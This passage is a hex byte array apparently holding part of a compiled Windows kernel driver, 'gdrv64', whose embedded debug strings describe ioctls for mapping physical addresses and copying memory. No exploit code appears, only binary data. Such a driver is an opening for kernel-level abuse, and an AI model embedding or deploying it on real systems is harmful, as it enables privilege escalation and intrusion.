0x77, 0x48, 0x61, - 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, - 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, - 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, - 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, - 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, - 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, - 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, - 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, - 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, - 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, - 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, - 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, - 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, - 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, - 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, - 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, - 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, - 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0x54, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, - 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, - 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, - 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, - 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, - 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, - 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, - 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, - 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, - 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, - 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, - 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, - 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, - 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, - 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, - 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, - 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, - 0x66, 0x67, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, - 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, - 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, - 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, - 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, - 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, - 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, - 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, - 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, - 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, - 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, - 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, - 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, - 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, - 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, - 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, - 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, - 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, - 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, - 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, - 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, - 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, - 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, - 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, - 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, - 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, - 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, - 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, - 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, - 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, - 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, - 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, - 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, - 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, - 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, - 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, - 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, - 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, - 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, - 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, - 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, - 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, - 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, - 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, - 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, - 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, - 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, - 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 